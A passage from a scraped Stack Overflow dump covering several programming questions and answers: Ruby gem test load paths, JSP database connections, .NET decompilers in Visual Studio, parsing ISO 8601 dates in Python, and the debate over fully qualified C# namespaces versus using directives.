"text": "<p>Take a look at hoe gem, it is a helper for other gems.</p>\n"
},
{
"answer_id": 259783,
"author": "Orion Edwards",
"author_id": 234,
"author_profile": "https://Stackoverflow.com/users/234",
"pm_score": 3,
"selected": true,
"text": "<p>I'm not sure what you're trying to achieve with that script. It doesn't seem to have anything to do with gems...</p>\n\n<p>Is it so that you can run <code>ruby tc_main.rb</code> from within the test directory (or <code>ruby test/tc_main.rb</code> from the base dir), and have it set the load path appropriately? If so, here's a much nicer way:</p>\n\n<p>In your test directory, create a <code>test_helper.rb</code> file. In that file, put this</p>\n\n<pre><code>$LOAD_PATH << File.expand_path( File.dirname(__FILE__) + '/../lib' )\n</code></pre>\n\n<p>And in all your test files, set the first line to</p>\n\n<pre><code>require 'test_helper'\n</code></pre>\n\n<p>If you have subdirectories inside your test dir, then files in those subdirs can just do</p>\n\n<pre><code>require '../test_helper' \n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214730",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26374/"
] |
I'm creating a gem which has
* several scripts in the bin directory
* the utility classes in the lib directory
* and several tests in the test directory
```
supertool
bin
toolA
toolB
lib
supertool
supertool.rb
helper.rb
test
tc_main.rb
tc_etc.rb
```
Now, to run the tests before I even install the gem, I have the following snippet at the top of my tests:
```
base = File.basename(Dir.pwd)
if base == 'test' || base =~ /supertool/
Dir.chdir('..') if base == 'test'
$LOAD_PATH.unshift(Dir.pwd + '/lib')
Dir.chdir('test') if base =~ /supertool/
end
```
This seems tedious though, especially if I have to put these in the scripts in the bin directory too. Is there a better way of setting up the environment so we can test gems before they are installed? I'm sure it's something simple that I just can't find. A simple link to the right place would help a lot :)
|
I'm not sure what you're trying to achieve with that script. It doesn't seem to have anything to do with gems...
Is it so that you can run `ruby tc_main.rb` from within the test directory (or `ruby test/tc_main.rb` from the base dir), and have it set the load path appropriately? If so, here's a much nicer way:
In your test directory, create a `test_helper.rb` file. In that file, put this
```
$LOAD_PATH << File.expand_path( File.dirname(__FILE__) + '/../lib' )
```
And in all your test files, set the first line to
```
require 'test_helper'
```
If you have subdirectories inside your test dir, then files in those subdirs can just do
```
require '../test_helper'
```
|
214,748 |
<p>Please bear with me here, I'm a student and new to Java Server Pages.
If I'm being a complete idiot, can someone give me a good link to a tutorial on JSP, since I've been unable to find info on this anywhere. </p>
<p>Okay, here goes... </p>
<p>I'm using Netbeans and trying to pass an object that connects to a database between the pages, otherwise I'd have to reconnect to the database every time a new page is displayed. </p>
<p>Using Netbeans, you can view each page as "jsp", in "design" view, or view the Java code. In the Java code is the class that extends an AbstractPageBean. The problem is that I'd like to pass parameters, but there is no object representing the class and so I can't just access the instance variables. </p>
<p>Can anyone tell me how to do this? </p>
|
[
{
"answer_id": 214835,
"author": "extraneon",
"author_id": 24582,
"author_profile": "https://Stackoverflow.com/users/24582",
"pm_score": 3,
"selected": true,
"text": "<p>You can put it in a session <a href=\"http://www.jsptut.com/Sessions.jsp\" rel=\"nofollow noreferrer\">JSP tutorial, Sessions</a>.</p>\n\n<p>But frankly, you don't put database connections in a session. They're a scarce resource. You'd be better off using some pooling mechanism like in <a href=\"http://www.informit.com/articles/article.aspx?p=336708&seqNum=5\" rel=\"nofollow noreferrer\">Tomcat JNDI database pooling example</a>. </p>\n\n<p>I personally would put all that java code in a class and use that class:</p>\n\n<p>java:</p>\n\n<pre><code>public class FooRepo {\n public static Foo getFoo(Long id) {\n // Read resultSet into foo\n }\n }\n</code></pre>\n\n<p>jsp: </p>\n\n<pre><code>Foo = FooRepo.getFoo( id as stored in JSP );\n// display foo\n</code></pre>\n\n<p>If you start playing with JSP I strongly recommend using a book. Creating a working JSP is very, very easy but creating a readable, maintainable JSP is hard. Use JSPs for the view, and not for the logic.</p>\n\n<p>As for what book; go to a bookstore. I personally like the core java series and the Head First series. The last series is <em>very</em> accessible but also thorough.</p>\n\n<p>I understand a book is expensive but investing in a book will help you understand the fundamentals which will help you if you move to struts, spring-mvc, wicket, JSF or whatever other framework you will use in the future.</p>\n"
},
{
"answer_id": 215320,
"author": "anjanb",
"author_id": 11142,
"author_profile": "https://Stackoverflow.com/users/11142",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://java.sun.com/j2ee/1.4/docs/tutorial/doc/index.html\" rel=\"nofollow noreferrer\">http://java.sun.com/j2ee/1.4/docs/tutorial/doc/index.html</a> is a J2EE tutorial with parts of it talking about JSP as well</p>\n\n<p>one more JSP tutorial from sun : <a href=\"http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/JSPIntro.html\" rel=\"nofollow noreferrer\">http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/JSPIntro.html</a></p>\n"
},
{
"answer_id": 215500,
"author": "Dónal",
"author_id": 2648,
"author_profile": "https://Stackoverflow.com/users/2648",
"pm_score": 2,
"selected": false,
"text": "<p>I second the suggestion for the <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596516681\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Head First book on JSP and Servlets</a>. Don't be put off by the cutesy presentation, it's very thorough and the manner in which the information is presented is very effective both in terms of making it easy to learn, and helping it to 'stick'.</p>\n\n<p>You could consider taking the <a href=\"http://www.sun.com/training/certification/java/scwcd.xml\" rel=\"nofollow noreferrer\">Sun Java Web Component Developer certification</a> exam, it's a good way to force yourself to learn the material thoroughly. Unfortunately, you'll need to take the Sun Java Programmer certification first.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214748",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/25280/"
] |
Please bear with me here, I'm a student and new to Java Server Pages.
If I'm being a complete idiot, can someone give me a good link to a tutorial on JSP, since I've been unable to find info on this anywhere.
Okay, here goes...
I'm using Netbeans and trying to pass an object that connects to a database between the pages, otherwise I'd have to reconnect to the database every time a new page is displayed.
Using Netbeans, you can view each page as "jsp", in "design" view, or view the Java code. In the Java code is the class that extends an AbstractPageBean. The problem is that I'd like to pass parameters, but there is no object representing the class and so I can't just access the instance variables.
Can anyone tell me how to do this?
|
You can put it in a session [JSP tutorial, Sessions](http://www.jsptut.com/Sessions.jsp).
But frankly, you don't put database connections in a session. They're a scarce resource. You'd be better off using some pooling mechanism like in [Tomcat JNDI database pooling example](http://www.informit.com/articles/article.aspx?p=336708&seqNum=5).
I personally would put all that java code in a class and use that class:
java:
```
public class FooRepo {
public static Foo getFoo(Long id) {
// Read resultSet into foo
}
}
```
jsp:
```
Foo = FooRepo.getFoo( id as stored in JSP );
// display foo
```
If you start playing with JSP I strongly recommend using a book. Creating a working JSP is very, very easy but creating a readable, maintainable JSP is hard. Use JSPs for the view, and not for the logic.
As for what book; go to a bookstore. I personally like the core java series and the Head First series. The last series is *very* accessible but also thorough.
I understand a book is expensive but investing in a book will help you understand the fundamentals which will help you if you move to struts, spring-mvc, wicket, JSF or whatever other framework you will use in the future.
|
214,764 |
<p>In my Java development I have had great benefit from the <a href="http://en.wikipedia.org/wiki/JAD_%28JAva_Decompiler%29" rel="noreferrer">Jad/JadClipse</a> decompiler. It made it possible to <em>know</em> why a third-party library failed rather than the usual guesswork.</p>
<p>I am looking for a similar setup for C# and Visual Studio. That is, a setup where I can point to any class or variable in my code and get a code view for that particular class.</p>
<p>What is the best setup for this? I want to be able to use the usual "jump to declaration/implementation" that I use to navigate my own code. It doesn't <em>have</em> to be free, but it would be a bonus if it was.</p>
<p>It should support Visual Studio 2008 or Visual Studio 2005 and .NET 2 and 3(.5).</p>
|
[
{
"answer_id": 214769,
"author": "Khoth",
"author_id": 20686,
"author_profile": "https://Stackoverflow.com/users/20686",
"pm_score": 1,
"selected": false,
"text": "<p>I don't think it can integrate with Visual Studio, but <a href=\"http://www.red-gate.com/products/reflector/\" rel=\"nofollow noreferrer\" title=\"Reflector\">Reflector</a> can disassemble .NET assemblies into a number of .NET languages, or show the IL.</p>\n"
},
{
"answer_id": 214783,
"author": "splattne",
"author_id": 6461,
"author_profile": "https://Stackoverflow.com/users/6461",
"pm_score": 1,
"selected": false,
"text": "<p>Remotesoft's <strong><a href=\"http://www.remotesoft.com/salamander/index.html\" rel=\"nofollow noreferrer\">Salamander .NET decompiler</a></strong> doesn't integrate in Visual Studio, but it can <strong>generate Visual Studio .NET project files</strong> for easy recompilation. It's not free.</p>\n"
},
{
"answer_id": 214784,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 1,
"selected": false,
"text": "<p>You can attach .NET Reflector to Visual Studio by simply using \"Open with\" on the DLL/EXE in the <code>bin</code> folder, and choosing Reflector (and set as default). Also, many tools (such as <a href=\"http://www.testdriven.net/\" rel=\"nofollow noreferrer\">TestDriven.NET</a> if I recall, and possibly ReSharper) provide a level of .NET Reflector integration.</p>\n"
},
{
"answer_id": 214788,
"author": "splattne",
"author_id": 6461,
"author_profile": "https://Stackoverflow.com/users/6461",
"pm_score": 5,
"selected": true,
"text": "<p>Here is a good article about <a href=\"http://en.csharp-online.net/Visual_Studio_Hacks%E2%80%94Hack_64:_Examine_the_Innards_of_Assemblies\" rel=\"nofollow noreferrer\">Reflector and how to integrate Reflector into Visual Studio</a>.</p>\n\n<blockquote>\n <p>Of particular interest is the Reflector.VisualStudio Add-In. This\n add-in, created by Jaime Cansdale, allows for Reflector to be hosted\n within Visual Studio. With this add-in, you can have Reflector\n integrated within the Visual Studio environment.<br /><br /> To get\n started, you will need to have the latest version of Reflector on your\n machine. Once you have downloaded Reflector, download the latest\n version of the Reflector.VisualStudio Add-In from\n <a href=\"http://www.testdriven.NET/reflector\" rel=\"nofollow noreferrer\">http://www.testdriven.NET/reflector</a>. The download contains a number of\n files that need to be placed in the same directory as Reflector.exe.\n To install the add-in, drop to the command line and run:</p>\n\n<pre><code>Reflector.VisualStudio.exe /install\n</code></pre>\n \n <p>After the add-in has been installed, you can start using Reflector from Visual Studio. You’ll notice a new menu item, Addins, which has a\n menu option titled Reflector. This option, when selected, displays the\n Reflector window, which can be docked in the IDE. Additionally, the\n add-in provides context menu support.<br /><br /> When you right-click\n in an open code file in Visual Studio, you’ll see a Reflector menu\n item that expands into a submenu with options to disassemble the code\n into C# or Visual Basic, display the call graph or callee graph, and\n other related choices. The context menu also includes a Synchronize\n with Reflector menu item that, when clicked, syncs the object browser\n tree in the Reflector window with the current code file.</p>\n</blockquote>\n"
},
{
"answer_id": 749186,
"author": "Joel Mueller",
"author_id": 24380,
"author_profile": "https://Stackoverflow.com/users/24380",
"pm_score": 2,
"selected": false,
"text": "<p>The <a href=\"http://code.google.com/p/scoutplugin/\" rel=\"nofollow noreferrer\">Scout plugin</a> integrates Reflector with ReSharper, if you happen to use that tool.</p>\n"
},
{
"answer_id": 6041195,
"author": "Jura Gorohovsky",
"author_id": 226537,
"author_profile": "https://Stackoverflow.com/users/226537",
"pm_score": 2,
"selected": false,
"text": "<p>ReSharper 6 (currently <a href=\"http://confluence.jetbrains.net/display/ReSharper/ReSharper+6.0+Nightly+Builds\" rel=\"nofollow\">available for early access</a>) supports decompiling in Visual Studio, with the entire ReSharper's navigation feature pack applicable to decompiled code. We have <a href=\"http://blogs.jetbrains.com/dotnet/2011/02/resharper-6-bundles-decompiler-free-standalone-tool-to-follow/\" rel=\"nofollow\">blogged about this</a> some time ago.</p>\n"
},
{
"answer_id": 6969588,
"author": "kervin",
"author_id": 16549,
"author_profile": "https://Stackoverflow.com/users/16549",
"pm_score": 3,
"selected": false,
"text": "<p>Try the open-source software <a href=\"http://ilspy.net/\" rel=\"nofollow\">http://ilspy.net/</a></p>\n"
},
{
"answer_id": 16836228,
"author": "Ahmad Ronagh",
"author_id": 2088873,
"author_profile": "https://Stackoverflow.com/users/2088873",
"pm_score": 2,
"selected": false,
"text": "<p>I think <a href=\"http://www.jetbrains.com/decompiler/\" rel=\"nofollow\">dotPeek</a> is best <strong>free</strong> Tools For <strong>Decompile C#</strong> code and <strong>.Net</strong> assembly</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214764",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24610/"
] |
In my Java development I have had great benefit from the [Jad/JadClipse](http://en.wikipedia.org/wiki/JAD_%28JAva_Decompiler%29) decompiler. It made it possible to *know* why a third-party library failed rather than the usual guesswork.
I am looking for a similar setup for C# and Visual Studio. That is, a setup where I can point to any class or variable in my code and get a code view for that particular class.
What is the best setup for this? I want to be able to use the usual "jump to declaration/implementation" that I use to navigate my own code. It doesn't *have* to be free, but it would be a bonus if it was.
It should support Visual Studio 2008 or Visual Studio 2005 and .NET 2 and 3(.5).
|
Here is a good article about [Reflector and how to integrate Reflector into Visual Studio](http://en.csharp-online.net/Visual_Studio_Hacks%E2%80%94Hack_64:_Examine_the_Innards_of_Assemblies).
>
> Of particular interest is the Reflector.VisualStudio Add-In. This
> add-in, created by Jaime Cansdale, allows for Reflector to be hosted
> within Visual Studio. With this add-in, you can have Reflector
> integrated within the Visual Studio environment.
>
> To get
> started, you will need to have the latest version of Reflector on your
> machine. Once you have downloaded Reflector, download the latest
> version of the Reflector.VisualStudio Add-In from
> <http://www.testdriven.NET/reflector>. The download contains a number of
> files that need to be placed in the same directory as Reflector.exe.
> To install the add-in, drop to the command line and run:
>
>
>
> ```
> Reflector.VisualStudio.exe /install
>
> ```
>
> After the add-in has been installed, you can start using Reflector from Visual Studio. You’ll notice a new menu item, Addins, which has a
> menu option titled Reflector. This option, when selected, displays the
> Reflector window, which can be docked in the IDE. Additionally, the
> add-in provides context menu support.
>
> When you right-click
> in an open code file in Visual Studio, you’ll see a Reflector menu
> item that expands into a submenu with options to disassemble the code
> into C# or Visual Basic, display the call graph or callee graph, and
> other related choices. The context menu also includes a Synchronize
> with Reflector menu item that, when clicked, syncs the object browser
> tree in the Reflector window with the current code file.
>
>
>
|
214,777 |
<p>For example, I'm trying to convert 2008-09-26T01:51:42.000Z to 09/26/2008. What's the simplest way of accomplishing this?</p>
|
[
{
"answer_id": 214786,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 5,
"selected": false,
"text": "<pre><code>>>> import time\n>>> timestamp = \"2008-09-26T01:51:42.000Z\"\n>>> ts = time.strptime(timestamp[:19], \"%Y-%m-%dT%H:%M:%S\")\n>>> time.strftime(\"%m/%d/%Y\", ts)\n'09/26/2008'\n</code></pre>\n\n<p>See the documentation of the Python <a href=\"http://python.org/doc/2.5/lib/module-time.html\" rel=\"noreferrer\"><code>time</code></a> module for more information.</p>\n"
},
{
"answer_id": 215083,
"author": "olt",
"author_id": 19759,
"author_profile": "https://Stackoverflow.com/users/19759",
"pm_score": 2,
"selected": false,
"text": "<p><code>2008-09-26T01:51:42.000Z</code> is an ISO8601 date and the format can be very diverse. If you want to parse these dates see the python wiki on <a href=\"http://wiki.python.org/moin/WorkingWithTime\" rel=\"nofollow noreferrer\">working with time</a>. It contains some useful links to modules.</p>\n"
},
{
"answer_id": 215313,
"author": "Jeremy Cantrell",
"author_id": 18866,
"author_profile": "https://Stackoverflow.com/users/18866",
"pm_score": 7,
"selected": true,
"text": "<p>The easiest way is to use <a href=\"http://labix.org/python-dateutil\" rel=\"noreferrer\">dateutil</a>.parser.parse() to parse the date string into a timezone aware datetime object, then use strftime() to get the format you want.</p>\n\n<pre><code>import dateutil.parser\n\nd = dateutil.parser.parse('2008-09-26T01:51:42.000Z')\nprint(d.strftime('%m/%d/%Y')) #==> '09/26/2008'\n</code></pre>\n"
},
{
"answer_id": 2904561,
"author": "Dhaval dave",
"author_id": 339255,
"author_profile": "https://Stackoverflow.com/users/339255",
"pm_score": -1,
"selected": false,
"text": "<pre><code>def datechange(datestr):\ndateobj=datestr.split('-')\ny=dateobj[0]\nm=dateobj[1]\nd=dateobj[2]\ndatestr=d +'-'+ m +'-'+y\nreturn datestr\n</code></pre>\n\n<p>U can make a function like this which take date object andd returns you date in desired dateFormat....</p>\n"
},
{
"answer_id": 39155014,
"author": "mhoang",
"author_id": 6758992,
"author_profile": "https://Stackoverflow.com/users/6758992",
"pm_score": 6,
"selected": false,
"text": "<p>I know this is really old question, but you can do it with python datetime.strptime()</p>\n\n<pre><code>>>> from datetime import datetime\n>>> date_format = \"%Y-%m-%dT%H:%M:%S.%fZ\" \n>>> datetime.strptime('2008-09-26T01:51:42.000Z', date_format)\ndatetime.datetime(2008, 9, 26, 1, 51, 42)\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214777",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10708/"
] |
For example, I'm trying to convert 2008-09-26T01:51:42.000Z to 09/26/2008. What's the simplest way of accomplishing this?
|
The easiest way is to use [dateutil](http://labix.org/python-dateutil).parser.parse() to parse the date string into a timezone aware datetime object, then use strftime() to get the format you want.
```
import dateutil.parser
d = dateutil.parser.parse('2008-09-26T01:51:42.000Z')
print(d.strftime('%m/%d/%Y')) #==> '09/26/2008'
```
|
214,825 |
<p>My colleague insists on explicitly specifying the namespace in code as opposed to using the <a href="http://msdn.microsoft.com/en-us/library/sf0df423.aspx" rel="noreferrer">using directive</a>. In other words he wants to use the fully qualified name for each type every time this type occurs in code. Something like </p>
<pre><code>public class MyClass
{
public static void Main()
{
System.Console.WriteLine("Foo");
}
}
</code></pre>
<p>instead of:</p>
<pre><code>using System;
public class MyClass
{
public static void Main()
{
Console.WriteLine("Foo");
}
}
</code></pre>
<p>You can imagine the consequences.</p>
<p>The pros he gives: </p>
<ol>
<li>It's simpler to copy and paste code into other source files. </li>
<li>It is more readable (you see the namespaces right away). </li>
</ol>
<p>My cons:</p>
<ol>
<li>I have to write more </li>
<li>The code is less readable (I guess de gustibus non disputandum est) </li>
<li>No one does it! </li>
</ol>
<p>What do you think about this?</p>
|
[
{
"answer_id": 214826,
"author": "Franci Penov",
"author_id": 17028,
"author_profile": "https://Stackoverflow.com/users/17028",
"pm_score": 6,
"selected": false,
"text": "<p>If you need to copy and paste code around so much as to actually benefit of having fully qualified types, you've got bigger problems.</p>\n\n<p>Also, do you plan on remembering which namespace every single class is in in order to be able to type it fully qualified?</p>\n"
},
{
"answer_id": 214827,
"author": "gimel",
"author_id": 6491,
"author_profile": "https://Stackoverflow.com/users/6491",
"pm_score": 0,
"selected": false,
"text": "<p>The <a href=\"http://en.wikipedia.org/wiki/Law_of_Demeter\" rel=\"nofollow noreferrer\">Law of Demeter</a> says you should use <em>only one dot</em>:</p>\n\n<blockquote>\n <p>For many modern object oriented languages that use a dot as field identifier, the law can be stated simply as \"use only one dot\". That is, the code \"a.b.Method()\" breaks the law where \"a.Method()\" does not.</p>\n</blockquote>\n\n<p>Of course, this is not always practical. But long strings of dot-separated identifiers violate accepted practice.</p>\n\n<p>EDIT: This answer seems controversial. I brought the <code>Law of Demeter</code> up mostly as a style guide, and most replies here seem to agree that limiting the number of dots is a good idea. In my opinion, <code>jQuery</code> (and <code>JavaScript</code>) suffer from readability problems, partly because excessive dots creep into any non trivial program .</p>\n"
},
{
"answer_id": 214828,
"author": "Jesper Blad Jensen",
"author_id": 11559,
"author_profile": "https://Stackoverflow.com/users/11559",
"pm_score": 3,
"selected": false,
"text": "<p>Because we have a tool in C# for auto-setting the using statement, by pressing <kbd>Ctrl</kbd>+<kbd><strong>.</strong></kbd> - I can't see any reason not to use it. The other "cool" thing here, is:</p>\n<p>Think about you have a two namespaces:</p>\n<p>ConsoleNamespace1</p>\n<p>and</p>\n<p>ConsoleNamespace2</p>\n<p>Both have a Console class. Now you can change all the references to ConsoleNamespace2, with just a single line of code - that's cool.</p>\n<p>My advice: Use <code>using</code> if you can, the full if you must. I don't think the fully one, if easier to read. Know your framework, and this will never be a problem.</p>\n"
},
{
"answer_id": 214829,
"author": "Cristian Libardo",
"author_id": 16526,
"author_profile": "https://Stackoverflow.com/users/16526",
"pm_score": 1,
"selected": false,
"text": "<p>Oh boy. One step might be teaching your collegue about <kbd>Ctrl</kbd>+<kbd>.</kbd> It will automatically insert using statements for you.</p>\n"
},
{
"answer_id": 214838,
"author": "Adam Haile",
"author_id": 194,
"author_profile": "https://Stackoverflow.com/users/194",
"pm_score": 1,
"selected": false,
"text": "<p>My general rule is that if I am going to use items from a particular namespace more than a few times, it gets a using directive. However I don't want to clutter up the top of the file with using directives for things that I only use once or twice.</p>\n"
},
{
"answer_id": 214842,
"author": "Richard Harrison",
"author_id": 19624,
"author_profile": "https://Stackoverflow.com/users/19624",
"pm_score": 3,
"selected": false,
"text": "<p>Making it easier to move code around by copy and paste is simply a <a href=\"http://en.wikipedia.org/wiki/Non_sequitur_(logic)\" rel=\"nofollow noreferrer\">non sequitur</a>, and quite possibly a warning sign of potentially dangerous practice. The structure and legibility of code shouldn't be dictated by ease of edit.</p>\n\n<p>If anything it makes the code less readable and more specific - personally I'm not interested where standard objects live, it's akin to addressing your colleague by their complete given name, prefixed with the street address of your workplace.</p>\n\n<p>There are times, however, where occasionally it makes the code more readable, so hard and fast rules are not applicable, just common sense.</p>\n"
},
{
"answer_id": 214845,
"author": "rslite",
"author_id": 15682,
"author_profile": "https://Stackoverflow.com/users/15682",
"pm_score": 0,
"selected": false,
"text": "<p>I recommend against the proposition of your colleague. For me reading code is much easier if you don't have a long namespace cluttering the line. Just imagine this:</p>\n\n<pre><code>Namespace1.Namespace2.Namespace3.Type var = new Namespace1.Namespace2.Namespace3.Type(par1, par2, par3);\n</code></pre>\n\n<p>as opposed to:</p>\n\n<pre><code>Type var = new Type(par1, par2, par3);\n</code></pre>\n\n<p>Regarding copy-paste - you do have Shift+Alt+F10 that will add the namespace, so it shouldn't be a problem.</p>\n"
},
{
"answer_id": 214847,
"author": "Robert Rossney",
"author_id": 19403,
"author_profile": "https://Stackoverflow.com/users/19403",
"pm_score": 5,
"selected": false,
"text": "<p>What do I think about this? </p>\n\n<p>I think that a person who would come up with an idea like this, and who would justify it the way he has, is very likely to have a number of other fundamental misunderstandings about the C# language and .NET development.</p>\n"
},
{
"answer_id": 214856,
"author": "Will Dean",
"author_id": 987,
"author_profile": "https://Stackoverflow.com/users/987",
"pm_score": 2,
"selected": false,
"text": "<p>It's also worth noting that a tool like ReSharper (why aren't you already using it?) will add the appropriate 'using' lines for you pretty much automatically.</p>\n"
},
{
"answer_id": 214870,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 7,
"selected": true,
"text": "<p>For a slightly different answer: LINQ.</p>\n\n<p>Extension methods are obtained only via \"using\" statements. So either the query syntax or the fluent interface will <em>only</em> work with the right \"using\" statements.</p>\n\n<p>Even without LINQ, I'd say use \"using\"... reasoning that the more you can understand in fewer characters, the better. Some namespaces are very deep, but add no value to your code.</p>\n\n<p>There are other extension methods too (not just LINQ) that would suffer the same; sure, you can use the static class, but the fluent interface is more expressive.</p>\n"
},
{
"answer_id": 214872,
"author": "Unsliced",
"author_id": 2902,
"author_profile": "https://Stackoverflow.com/users/2902",
"pm_score": 1,
"selected": false,
"text": "<p>Install ReSharper on you machines. Sit back and let it guide your colleague to righteousness. Seriously, there are bigger battles but this is the kind of coder to avoid if it takes more than two minutes to try to educate. </p>\n"
},
{
"answer_id": 214882,
"author": "RB.",
"author_id": 15393,
"author_profile": "https://Stackoverflow.com/users/15393",
"pm_score": 2,
"selected": false,
"text": "<p>One of the reasons you use \"using\" is that it tells anyone reading the source the sort of things your class will be doing. Using System.IO tells a reader you're doing I/O operations, for example.</p>\n"
},
{
"answer_id": 214945,
"author": "user10178",
"author_id": 10178,
"author_profile": "https://Stackoverflow.com/users/10178",
"pm_score": 1,
"selected": false,
"text": "<p>You can also use aliases...:</p>\n\n<pre><code>using diagAlias = System.Diagnostics;\n\nnamespace ConsoleApplication1\n{\n class Program\n {\n static void Main(string[] args)\n {\n diagAlias.Debug.Write(\"\");\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 215005,
"author": "Kibbee",
"author_id": 1862,
"author_profile": "https://Stackoverflow.com/users/1862",
"pm_score": 4,
"selected": false,
"text": "<p>The biggest problem I find with not using the \"using\" directive isn't on instantiantion and definition of classes. It's on passing in values to functions that are defined defined in the namespace. Compare these two pieces of code (VB.Net, because that's what I know, but you get the picture).</p>\n\n<pre><code>Module Module1\n\n Sub Main()\n Dim Rgx As New System.Text.RegularExpressions.Regex(\"Pattern\", _\n System.Text.RegularExpressions.RegexOptions.IgnoreCase _\n Or System.Text.RegularExpressions.RegexOptions.Singleline _\n Or System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace)\n\n\n For Each result As System.Text.RegularExpressions.Match In Rgx.Matches(\"Find pattern here.\")\n 'Do Something\n Next\n End Sub\n\nEnd Module\n</code></pre>\n\n<p>And this</p>\n\n<pre><code>Imports System.Text.RegularExpressions\n\nModule Module1\n\n Sub Main()\n Dim Rgx As New Regex(\"Pattern\", _\n RegexOptions.IgnoreCase _\n Or RegexOptions.Singleline _\n Or RegexOptions.IgnorePatternWhitespace)\n\n\n For Each result As Match In Rgx.Matches(\"Find pattern here.\")\n 'Do Something\n Next\n End Sub\n\nEnd Module\n</code></pre>\n\n<p>In cases like this where lots of enums are used, as well as declaring your variables inline in a for loop, to reduce scope, not using \"using\" or \"imports\" in the case of vb.Net, can lead to really bad readability.</p>\n"
},
{
"answer_id": 215015,
"author": "David Robbins",
"author_id": 19799,
"author_profile": "https://Stackoverflow.com/users/19799",
"pm_score": 0,
"selected": false,
"text": "<p>You really want to maintain code that way? Even with intellisense all that typing is not going to be productive.</p>\n"
},
{
"answer_id": 215025,
"author": "FOR",
"author_id": 27826,
"author_profile": "https://Stackoverflow.com/users/27826",
"pm_score": 0,
"selected": false,
"text": "<p>Instead of 'copy-n-paste' I call it 'copy-n-rape' because the code is abused 99.9% of the times when it is put through this process. So there, that's my answer to your colleague's #1 justification for that approach.</p>\n\n<p>On a side note, tools like Resharper will add the using statements at the top when you add code that needs them to your code (so even if you 'copy-n-rape' code like that you can do so easily).</p>\n\n<p>Personal preferences aside, I think your justifications are much more valuable than his, so even assuming they are all valid points, I'd still reccomend writing the using statements at the top. I would not make it a 'ban' though, since I see coding standard as guidelines rather than rules. Depending on your team size it might be very hard to enforce things like that (or how many spaces for indentation, or indentation styles, etc etc).</p>\n\n<p>Make it a guideline so that all the other developers feel free to replcae the fully qualified names with the shorter versions and, over time, the code base will fall in line with the guideline. Keep an eye out for people taking time away from doing work to simply change all the occurrences of one style to the other - 'cause that's not very productive if you're not doing anything else.</p>\n"
},
{
"answer_id": 215295,
"author": "Ryan Lundy",
"author_id": 5486,
"author_profile": "https://Stackoverflow.com/users/5486",
"pm_score": 5,
"selected": false,
"text": "<p>The minute your colleague said \"copy-and-paste code\", he lost all credibility.</p>\n"
},
{
"answer_id": 215353,
"author": "mohammedn",
"author_id": 29268,
"author_profile": "https://Stackoverflow.com/users/29268",
"pm_score": 1,
"selected": false,
"text": "<p>I think with the <a href=\"http://en.wikipedia.org/wiki/IntelliSense\" rel=\"nofollow noreferrer\">IntelliSense</a> features in Visual Studio and using some third-party products like <a href=\"http://en.wikipedia.org/wiki/ReSharper\" rel=\"nofollow noreferrer\">ReSharper</a>, we no longer care about either to make our code fully qualified or not. It became no longer time consuming to resolve the namespaces when you copy and paste your code. </p>\n"
},
{
"answer_id": 215426,
"author": "Paul Mendoza",
"author_id": 29277,
"author_profile": "https://Stackoverflow.com/users/29277",
"pm_score": 0,
"selected": false,
"text": "<p>He might have a point with somethings. For instance, at a company I work at we have a lot of code generated classes and so all of our code generated classes we use the fully qualified names for classes in order to avoid any potential conflicts.</p>\n\n<p>With all the standard .NET classes that we have, we just use the using statements.</p>\n"
},
{
"answer_id": 215734,
"author": "Jay Bazuzi",
"author_id": 5314,
"author_profile": "https://Stackoverflow.com/users/5314",
"pm_score": 0,
"selected": false,
"text": "<p>In a system like .NET, where there are types in namespaces, you have to make a decision: is a namespace part of the name, or is it an organizational tool for types?</p>\n\n<p>Some systems choose the first option. Then, your <code>using</code> directives would be able shortening the names that you use the most often.</p>\n\n<p>In .NET, it's the latter. For example, consider <code>System.Xml.Serialization.XmlSerializationReader</code>. Observe the duplication between the namespace and the type. That's because in this model, type names must be unique, even across namespaces.</p>\n\n<p>If I remember correctly, you can find this described by the CLR team here: <a href=\"http://blogs.msdn.com/kcwalina/archive/2007/06/01/FDGLecture.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/kcwalina/archive/2007/06/01/FDGLecture.aspx</a></p>\n\n<blockquote>\n <p>Its simpler to copy and paste code into other source files.</p>\n</blockquote>\n\n<p>True, but if you're copy/pasting a lot of code, you're probably doing it wrong.</p>\n\n<blockquote>\n <p>It is more readable (you see the namespaces right away)</p>\n</blockquote>\n\n<p>Seeing the namespaces isn't important, since, at least when you're following Microsoft's guidelines, type names are unique already; the namespace doesn't really provide you with useful information.</p>\n"
},
{
"answer_id": 215750,
"author": "Aaron Powell",
"author_id": 11388,
"author_profile": "https://Stackoverflow.com/users/11388",
"pm_score": 0,
"selected": false,
"text": "<p>I'm someone who has a tendancy to fully qualify namespaces. I do it when I'm using components which i'm not familiar with/ haven't used for a long time. I helps me remember what's in that namespace so next time I'm looking for it/ related classes.</p>\n\n<p>It also helps me twig to whether I have the appropriate references in the project already. Like if I write out System.Web.UI but can't find Extensions then I know I forgot/ who ever set up the project forgot to put in the ASP.NET AJAX references.</p>\n\n<p>I'm doing it less and less though these days as I'm using the shortcut to qualify a class (Ctrl + .). If you type out the name of the class (correctly cased) and press that shortcut you can easily fully quality/ add a using statement.</p>\n\n<p>It's great for the StringBuilder, I never seem to have System.Text, so I just type StringBuilder -> Ctrl + . and there we go, I've added the using.</p>\n"
},
{
"answer_id": 216101,
"author": "Adron",
"author_id": 29345,
